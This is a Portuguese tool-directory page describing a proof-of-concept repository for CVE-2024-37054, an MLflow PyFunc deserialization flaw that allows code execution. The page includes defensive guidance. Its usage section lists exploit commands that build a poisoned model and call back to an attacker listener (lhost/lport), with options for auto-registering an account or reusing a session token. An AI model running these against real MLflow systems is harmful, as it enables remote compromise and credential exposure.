Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/clearlotus-git/cve-2024-37054-poc
Ferramentas DefensivasAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado de MáquinaAprendizado e EducaçãoSegurança de IA
GitHubclearlotus-git/cve-2024-37054-poc

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

CVE-2024-37054-PoC

Repositório de prova de conceito e pesquisa para CVE-2024-37054, uma falha de desserialização insegura no carregamento de modelos MLflow PyFunc que pode levar à execução remota de código.

Ver Repositório
há 5h 11mAinda não revisado
Compartilhar

MLflow Unsafe Deserialization

CVE-2024-37054

Visão Geral

Este repositório documenta a pesquisa sobre CVE-2024-37054, um problema de desserialização insegura que afeta o tratamento de modelos PyFunc do MLflow.

Em versões afetadas do MLflow, o carregamento de um modelo PyFunc não confiável pode fazer com que a lógica de desserialização do Python processe um objeto serializado contendo comportamento controlado pelo atacante. Se um artefato não confiável for carregado, o código pode ser executado sob as permissões do usuário ou serviço que realiza a operação de carregamento do modelo.

As versões afetadas relatadas em avisos públicos incluem:

root@kitploit:~
MLflow 0.9.0 through 2.14.1

Risco

O risco principal não é simplesmente "enviar um modelo". O perigo ocorre quando uma aplicação, analista, worker ou plataforma de ML carrega um artefato de modelo serializado não confiável.

O impacto potencial inclui:

  • Execução remota de código no contexto do cliente MLflow, worker ou serviço
  • Exposição de variáveis de ambiente, credenciais, tokens e arquivos locais
  • Acesso não autorizado a armazenamentos de modelos conectados, bancos de dados e serviços internos
  • Modificação de modelos, experimentos ou metadados do registry
  • Movimentação da infraestrutura de ML para outros ambientes conectados

Conteúdo do Repositório

root@kitploit:~
build_model.py

Cria um artefato de modelo de teste controlado para uso em um ambiente de laboratório privado e autorizado.

root@kitploit:~
exploit.py

Automação privada de prova de conceito usada apenas para validar o caminho da vulnerabilidade em um ambiente de treinamento autorizado. Este repositório não inclui alvos ativos, credenciais, tokens de sessão, arquivos de configuração de VPN ou payloads destrutivos.

Uso

Execute esta prova de conceito apenas em um ambiente de laboratório autorizado.

1. Construir o modelo de teste

Crie o artefato de modelo controlado:

root@kitploit:~
python3 build_model.py --lhost <YOUR_IP> --lport 4444

2. Executar com registro automático de conta

Se você ainda não possui uma sessão autenticada, use o modo de registro automático:

root@kitploit:~
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz

Este modo cria uma conta temporária de laboratório, autentica-se na aplicação e continua com o fluxo de registro e validação do modelo.

3. Executar com uma sessão existente

Se você já possui uma sessão autorizada válida, passe-a diretamente:

root@kitploit:~
python3 exploit.py \
  --lhost <YOUR_IP> \
  --lport 4444 \
  --session "<SESSION_TOKEN>"

Substitua:

  • <YOUR_IP> pelo endereço IP acessível a partir do alvo de laboratório autorizado.
  • 4444 pela porta de escuta usada em seu laboratório.
  • <SESSION_TOKEN> pelo valor da sua sessão autorizada ativa.

Nunca publique tokens de sessão reais, credenciais, arquivos de VPN, endereços de alvo ou detalhes de callback.

Orientação Defensiva

Organizações que usam MLflow devem tratar artefatos de modelo como entrada não confiável, a menos que sua origem e integridade tenham sido verificadas.

Salvaguardas recomendadas:

  • Não carregue artefatos de modelo PyFunc serializados ou baseados em pickle não confiáveis.
  • Restrinja permissões de upload, registro, versionamento e carregamento de modelos usando o princípio do menor privilégio.
  • Isole cargas de trabalho do MLflow em contêineres sem root ou ambientes de worker restritos.
  • Restrinja o acesso de rede de saída da infraestrutura de carregamento de modelos e treinamento.
  • Evite colocar segredos em variáveis de ambiente acessíveis a jobs de processamento de modelos.
  • Registre uploads de modelos, ações de registry, acesso a artefatos e atividade anormal de subprocessos.
  • Monitore avisos de segurança do MLflow e use versões de software suportadas e mantidas.

Aviso Legal

Este projeto destina-se apenas a pesquisa defensiva, educação e testes de segurança autorizados. O fluxo de prova de conceito foi avaliado exclusivamente em um ambiente de treinamento controlado. Não teste esta vulnerabilidade contra sistemas, contas, serviços ou redes sem autorização escrita explícita.

Baixar ferramenta